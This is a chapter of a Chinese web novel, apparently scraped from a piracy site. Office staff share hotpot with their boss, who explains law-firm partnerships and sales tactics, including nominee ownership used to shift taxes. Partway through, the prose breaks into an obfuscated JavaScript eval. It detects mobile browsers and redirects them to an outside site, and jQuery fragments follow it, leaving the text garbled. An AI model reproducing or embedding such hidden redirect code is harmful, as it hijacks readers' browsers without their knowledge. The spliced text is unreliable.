第105章103.煮酒论未来（4k）


    “动感光波.”


    肖晖不由自主重复了一遍，低下头打开B站搜索起来，总觉得这个词听起来不像小时候看过的蜡笔小新。


    上述关键词的切片一大把，他随便找了一个点进去，几分钟内就入了迷。


    怪不得.


    原来是这样的动感光波！


    这个叫uno的主播也太性感了.


    新员工咕嘟咕嘟咽着口水，火锅咕嘟咕嘟冒着泡，大家咕嘟咕嘟的聊天也还在继续。


    “是的呀~我安排人把楼顶的小花园重新打扫布置了一遍，特别适合吹吹晚风，看看风景，谈谈事情。”


    “周总，你都没来过楼顶吧？”


    安安静静的小花园一角，突然传来一个熟悉的女性中低音。


    “确实没来过。”


    不远处男人停顿一下，紧接着是爽朗的笑声。


    “哈哈哈哈，有人先行一步，看来大家都知道这是个好地方啊”


    **！


    当场抓包！


    这可怎么办？


    吃着火锅开开心心的员工们，顿时对视一眼，纷纷在彼此眼中看到了十足十的慌乱。


    但火锅比不得其他速食晚餐，收拾肯定是来不及了，望着面前氤氲的水蒸气，只能破罐子破摔。


    “周总好~贺助理好~”


    最后，还是职场经验最丰富的石芳芳率先站起身来，挤出一丝灿烂笑容，望向三位初来乍到的楼顶访客。


    “uno老师好~”


    职场上要想迅速出彩，玩的就是细心。


    她迅速把和周总并肩站在一起的女孩子，与当晚客串水军引流时言笑晏晏的美女主播对号入座。


    这就是反应！


    “你好你好.”


    果然，杜佳诺眨了眨眼睛马上回应，脸上一副受宠若惊的表情。


    “你们这是搞团建呢，火锅好不好吃？”


    周明远一打眼就看出了员工们的情绪，笑着拉过几个椅子，坐到大家身边。


    “味道很棒的，我们自己调的料，周总.要不你也尝尝？”


    相比另外几个男同事，石芳芳明显圆滑多了。


    “我们还有好多菜和肉没下，喏，这里是一次性筷子。”


    “贺助理，uno老师。”


    短短几句对话下来，石芳芳没那么慌张了。


    领导们突然跑到楼顶，当然不是为了抓哪位员工公然摸鱼。


    没准和自己一样，想找个安静的，风景不错的地方聊聊天而已。


    大家的相遇，只不过是一场意外。


    她笑眯眯地弓起身子，分发一次性碗筷。


    “没想到能在公司蹭上饭.那我们可不客气了哈！”


    周明远大大方方接过餐具，拉近椅子，和大家打成一片。


    员工们的小小团体，一下变成了聚餐性质的谈天说地。


    聊着聊着，员工们很快发现，年纪轻轻的周总完全没什么架子。


    他无论是开启话题，接过话头，还是发表意见，都带着几分平等探讨的客气态度。


    完全没有上位者的颐指气使和自大油腻。


    反倒是平日里几人接触较多，相对严肃认真的贺敏，坐在一边没什么话，大多数时间都在倾听。


    安静倾听。


    “天呐.uno老师说真的，我第一时间都没敢认，你比直播间里还好看！”


    石芳芳和杜佳诺的座位挨着，她忍了好一会，这才找到机会开口称赞道。


    这当然不是她一个人的想法。


    旁边的何明和肖晖，恨不得把所有的注意力都丢到她身上去。


    今天的杜佳诺一反常态，从穿搭到配饰，一水儿的贵气十足，光鲜亮丽。


    她不像是那晚出镜的邻家主播，她那股子举手投足的范儿，竟然有些像明星。


    真正的明星。


    作为工作多年的职场白领，石芳芳有着一对火眼金睛。


    离远了可能分辨不出，但杜佳诺就坐在她旁边，根本不需要戴眼镜就能看得一清二楚。


    杜佳诺脖颈上的项链亮晶晶，正是卡地亚的经典款——TRINITY枕形吊坠。


    她顿时瞪大了眼睛。


    但震撼不仅仅这一点，当杜佳诺挽起一小截衣袖夹菜时，白皙皓腕上的蝴蝶形状手链，也被她认了出来。


    石芳芳展现出一点小心机，假装筷子掉在地上，弯腰凑近。


    这好像是


    梵克雅宝的新品！


    SweetButterflies手链。


    白领姐姐不由得在心里默默盘算。


    妈呀，这一套从头到脚得多少钱？


    uno老师是流水收入很高没错。


    可怎么看，她也不至于一夜之间就能买得起这些东西。


    所以说，是周总千金买马骨，财帛换人心？


    至于何明和肖晖，想法和八卦之心蹭蹭上涨的石芳芳不一样了。


    他们很难第一眼认出杜佳诺身上的奢饰品，也判断不出价值几何，只是单纯觉得好看。


    uno老师妆容好看，长裙好看，连脚上高跟凉鞋前端的赤红色指甲油都格外好看。


    古人云：居移气，养移体。


    面对身价和人气双重暴涨的杜佳诺，周明远的应对大道至简。


    他拉着杜佳诺跑到江城国际广场，亲自挑选，量体裁衣。


    从头到脚用奢侈品重新武装，一掷千金，心意十足，搞得学姐眼泪汪汪。


    老板对她不计成本的投入，让杜佳诺感动无比。


    别说她给公司带来的分成收入了，哪怕是用当晚的所有流水11万来买单，也不够支付她此刻的焕然一新。


    但周明远一点都不心疼。


    经济也好，情感也罢，无论出于哪种角度考量，他都必须要杜佳诺死心塌地。


    和她进行更深层次的链接，带她感受更大的世界，赋予她更加强大的能力。


    于是，当杜佳诺再次出现在路人面前时，给人的感觉更是耳目一新。


    感觉


    她和素人仿佛产生了一层障壁。


    “哪有那么夸张啦。”


    杜佳诺抿着嘴，往周明远碗里夹了块肉，客客气气。


    “直播间还有美颜的，线下只会减分才对吧.”


    “真的！uno老师，你线下气质更好，戴这个项链简直太合适了，感觉就是为你而生的！”


    石芳芳毫不迟疑地恭维起来。


    “谢谢姐姐~”


    这下，卷发少女忍不住咯咯笑了起来，侧过脑袋看向周明远。


    “原来确实是周老板眼光比较好，今天在店里的时候，那两个柜员也说过同样的话，当时我还以为是人家的话术呢”


    “芳芳绝对是发自真心！”


    大家纷纷笑了起来。


    石芳芳的破冰相当成功。


    在场的几位员工都是年轻人，大家的年纪其实没差出太多，共同话题不少，打成一片不算什么难题。


    “周总，我们到底什么时候能找到律所合作啊？”


    相比摸鱼毫无心理压力的石芳芳等人，刚刚入职的肖晖充满了干劲。


    “.”


    周明远看向贺敏：“进度到哪里了？”


    “嗯我前几天刚刚联系过挂证的律所，他们很干脆就拒绝了。”


    贺敏咬着嘴唇，露出十分纠结的表情。


    “你怎么沟通的？”


    “我找到带教律师，跟他讲我现在在法律咨询公司工作到这一步他就摆手不想听了。”


    “不能这么聊。”


    周明远笑着放下筷子，迎着大家好奇的视线，开口解释。


    “你要从案源，合规性，以及税务这几个角度去谈，才能引起对方的兴趣。”


    “你直接开门见山，一部分律师是存在抵触心理的。”


    想了想，周明远再次换了个形容词。


    “说抵触都比较客气，有些律师对法律咨询公司就是抨击的状态。”


    “首先呢，这不是律师行业对于法律咨询公司的整体判断，哪怕有一个人不这样认为，那这就只是部分律师的个人判断。”


    “而每个人判断的形成和很多因素有关，有个人因素，比如有可能他曾经确实接触过一家骗人的咨询公司；有认知因素，哪怕没有接触过咨询公司，但刻板印象里就觉得它们是骗子；也可能有情感因素。”


    “开玩笑的说，相比于自己的失败，同行的成功更令人糟心。”


    “.好像是这么回事。”


    贺敏若有所思，坐在对面的肖晖也露出恍然大悟的表情。


    囿于律师行业法律法规、行业性规范的限制，律师和律所在商业推广方面，是受到诸多限制的。


    而法律咨询公司却没有这样的限制，相关法律业务推广只要在《广告法》的允许范围内，百无禁忌。


    在大家的预期内，自家公司很快将开展针对性宣传，拿到大量的案源资源，只差更多的资格去代理诉讼案件。


    而律师律所们有资格代理案件，却因为宣传水平和能力，受困于案源不足。


    也就是说


    聊合作的时候，应该着重在自己的优势，而不是强化


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603476|171292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身份认同。


    各有所需，互补长短，这样才有互相寻求合作的机会和动力。


    “既然你挂证的律所没这个认知，那就换一家呗，反正也不要紧。”


    周明远耸耸肩，语气依旧云淡风轻。


    “你完全没必要去一门心思找那些大所聊，接地气一点，反而更有机会。”


    “我看产业园周边就有几家律所，地理位置就很近，完全可以去聊聊看。”


    这同样是后世的常规打法。


    不少法律公司直接参股或是控制律所，有些律所律师则是参股或是控制法律公司。


    胆子大的，两者直接合署办公。


    让人已经分不清楚里面的办公人员，究竟是律所人员，还是法律公司人员。


    甚至有些律所，直接就是法律咨询公司的出资人开办的。


    而有些法律公司，也是律师实际出资开办的。


    只不过，注册人、开办人不**现身，大多采用的隐名化、代持人方式操作。


    这难不倒天天研究规则的法律人。


    这种操作还有另外一个优势。


    法律咨询公司的税负，可以享受小微企业的优惠税率。


    而律所则因为不是法人主体，经营所得必须按照超额累进税率据实上缴、查账上缴。


    两者业务混同之后，就可以在收费和业务上互相分配，进而转移费用，从而最大限度的优化缴税。


    时代在变，观念在变，行为也在变。


    依靠流量武器获客的法律咨询公司，第一个冲击的就是靠案源承揽获利的律所。


    向案源靠拢，是大势所趋。


    这就是现实，就像实体店面临电商的冲击一样。


    传统律所如何在法律市场化的大趋势下，如何跳出固有观念看待法律公司，也决定着今后的发展前途命运。


    “好的，我回去列个表，明天开始落实。”


    贺敏点点头，拿出手机记到备忘录里。


    大家继续聊天。


    员工们发现，作为公司老板的周明远不仅没什么架子，他还对核心业务有着相当程度上的理解。


    无论是运营，技术还是销售和产品，他都能给迷茫的员工们指点迷津。


    “对，你们做运营的更不用着急。”


    “对于咱们公司来说，芳芳你们在前端的市场能够规模化获客，用更低的成本拿到线索，并且有对应的转化能力；后端何明需要做的核心，其实就是产品化、标准化。”


    “而这又取决于前端所选择的市场是可以被标准化的，后端只要确定了交付和服务的标准，服务100个人和服务10000个人，实际上区别不大。”


    周明远娓娓道来说着。


    何明和石芳芳对视一眼，沉默不语。


    “周总.那销售呢？”


    负责销售的同事支支吾吾开口。


    “是的，还有一个方面，我们对于销售的要求，是不要考虑案件的可行性，因为说实话你们是考虑不清楚的，尽可能地去成单就行了。”


    周明远笑着摊开双手，实话实说。


    “那客户投诉怎么办？”


    对方怔在原地。


    做业务还能这样？


    “这一点，你完全不用担心。”


    周明远胸有成竹。


    “我们很难有客户投诉，为什么？”


    “因为我们早就做好了规则设计。”


    “如果案件到了律师端交付的时候，发现案件没有办法开展，我们直接就退款了。”


    男**大方方说道：“所以案件具体能不能操作，是由我们的交付部门来确定的。”


    “为什么我这么肯定，你们销售判断不了可行性？”


    周明远继续说道。


    “因为你们没有对接过一线客户，他们的需求一定是千奇百怪的。”


    “比如我们遇到一个2万块钱标的的案件，客户非要线下律师出庭，为此付了8000元。”


    “这其实是很不合理的。”


    大家纷纷放下筷子，认真聆听。


    “客户的理由是：第一，我有钱；第二，我好面子，想把债要回来，想让对方难受，甚至能让对方变成失信被执行人才他妈能满意。”


    周明远抱起胳膊：“你们觉得这能不能干？”


    “.”


    在座的有人懂法，有人不懂法，却没人接话。


    最终还是老板出面解惑答疑。


    “很多这种并不是单纯以回款为目的的诉求，销售是没有办法判断的。”


    “但是.律师可以。”


    (本章完)